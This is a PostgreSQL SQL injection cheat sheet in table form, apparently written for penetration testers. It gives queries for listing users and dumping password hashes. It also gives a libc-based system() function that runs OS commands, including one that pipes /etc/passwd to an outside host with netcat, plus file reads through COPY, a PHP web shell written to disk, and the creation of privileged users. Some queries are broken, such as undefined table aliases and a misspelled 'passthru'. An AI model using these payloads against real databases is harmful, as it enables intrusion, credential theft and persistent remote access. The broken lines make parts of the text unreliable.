| Version |
SELECT version() |
| Comments |
SELECT 1; --comment
SELECT /*comment*/1; |
| Current User |
SELECT user;
SELECT current_user;
SELECT session_user;
SELECT usename FROM pg_user;
SELECT getpgusername(); |
| List Users |
SELECT usename FROM pg_user |
| List Password Hashes |
SELECT usename,passwd FROM pg_shadow -- priv |
| Password Cracker |
MDCrack can crack Postgresql's MD5-based passwords. |
| List Privileges |
SELECT usename,usecreatedb,usesuper,usecatupd FROM pg_user |
| List DBA Accounts |
SELECT usename FROM pg_user WHERE usesuper IS TRUE |
| Current Database |
SELECT current_database() |
| List Databases |
SELECT datname FROM pg_database |
| List Columns |
SELECT relname,A.attname FROM pg_class C,pg_namespace N,pg_attribute A,pg_type T WHERE (C.relkind='r') AND (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE 'public') |
| List Tables |
SELECT c.relname FROM pg_catalog.pg_class c LEFT JOIN pg_catalog.pg_namespace n ON n.oid = c.relnamespace WHERE c.relkind IN ('r','') AND n.nspname NOT IN ('pg_catalog','pg_toast') AND pg_catalog.pg_table_is_visible(c.oid) |
| Find Tables From Column Name |
If you want to list all the table names that contain a column LIKE '%password%': SELECT DISTINCT relname FROM pg_class C,pg_type T WHERE (C.relkind='r') AND (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE 'public') AND attname LIKE '%password%'; |
| Select Nth Row |
SELECT usename FROM pg_user ORDER BY usename LIMIT 1 OFFSET 0; -- rows numbered from 0
SELECT usename FROM pg_user ORDER BY usename LIMIT 1 OFFSET 1; |
| Select Nth Char |
SELECT substr('abcd',3,1); -- returns c |
| Bitwise AND |
SELECT 6 & 2; -- returns 2
SELECT 6 & 1; --returns 0 |
| ASCII Value -> Char |
SELECT chr(65); |
| Char -> ASCII Value |
SELECT ascii('A'); |
| Casting |
SELECT CAST(1 as varchar);
SELECT CAST('1' as int); |
| String Concatenation |
SELECT 'A' || 'B'; -- returnsAB |
| If Statement |
IF statements only seem valid inside functions,so aren't much use for sql injection. See CASE statement instead. |
| Case Statement |
SELECT CASE WHEN (1=1) THEN 'A' ELSE 'B' END; -- returns A |
| Avoiding Quotes |
SELECT CHR(65)||CHR(66); -- returns AB |
| Time Delay |
SELECT pg_sleep(10); -- postgres 8.2+ only
CREATE OR REPLACE FUNCTION sleep(int) RETURNS int AS '/lib/libc.so.6','sleep' language 'C' STRICT; SELECT sleep(10); --priv,create your own sleep function. Taken from here . |
| Make DNS Requests |
Generally not possible in postgres. However if contrib/dblink is installed (it isn't by default) it can be used to resolve hostnames (assuming you have DBA rights): SELECT * FROM dblink('host=put.your.hostname.here user=someuser dbname=somedb','SELECT version()') RETURNS (result TEXT); Alternatively,if you have DBA rights you could run an OS-level command (see below) to resolve hostnames,e.g. "ping pentestmonkey.net". |
| Command Execution |
CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6','system' LANGUAGE 'C' STRICT; -- priv SELECT system('cat /etc/passwd | nc 10.0.0.1 8080'); -- priv,commands run as postgres/pgsql OS-level user |
| Local File Access |
CREATE TABLE mydata(t text);
COPY mydata FROM '/etc/passwd'; -- priv,can read files which are readable by postgres OS-level user
...' UNION ALL SELECT t FROM mydata LIMIT 1 OFFSET 1; -- get data back one row at a time
...' UNION ALL SELECT t FROM mydata LIMIT 1 OFFSET 2; -- get data back one row at a time ...
DROP TABLE mytest mytest; Write to a file: CREATE TABLE mytable (mycol text);
INSERT INTO mytable(mycol) VALUES ('<? pasthru($_GET[cmd]); ?>');
COPY mytable (mycol) TO '/tmp/test.PHP'; --priv,write files as postgres OS-level user. Generally you won't be able to write to the web root,but it's always work a try.
-- priv user can also read/write files by mapping libc functions |
| Hostname,IP Address |
SELECT inet_server_addr(); -- returns db server IP address (or null if using local connection)
SELECT inet_server_port(); -- returns db server IP address (or null if using local connection) |
| Create Users |
CREATE USER test1 PASSWORD 'pass1'; -- priv
CREATE USER test1 PASSWORD 'pass1' CREATEUSER; -- priv,grant some privs at the same time |
| Drop Users |
DROP USER test1; -- priv |
| Make User DBA |
ALTER USER test1 CREATEUSER CREATEDB; -- priv |
| Location of DB files |
SELECT current_setting('data_directory'); -- priv
SELECT current_setting('hba_file'); -- priv |
| Default/System Databases |
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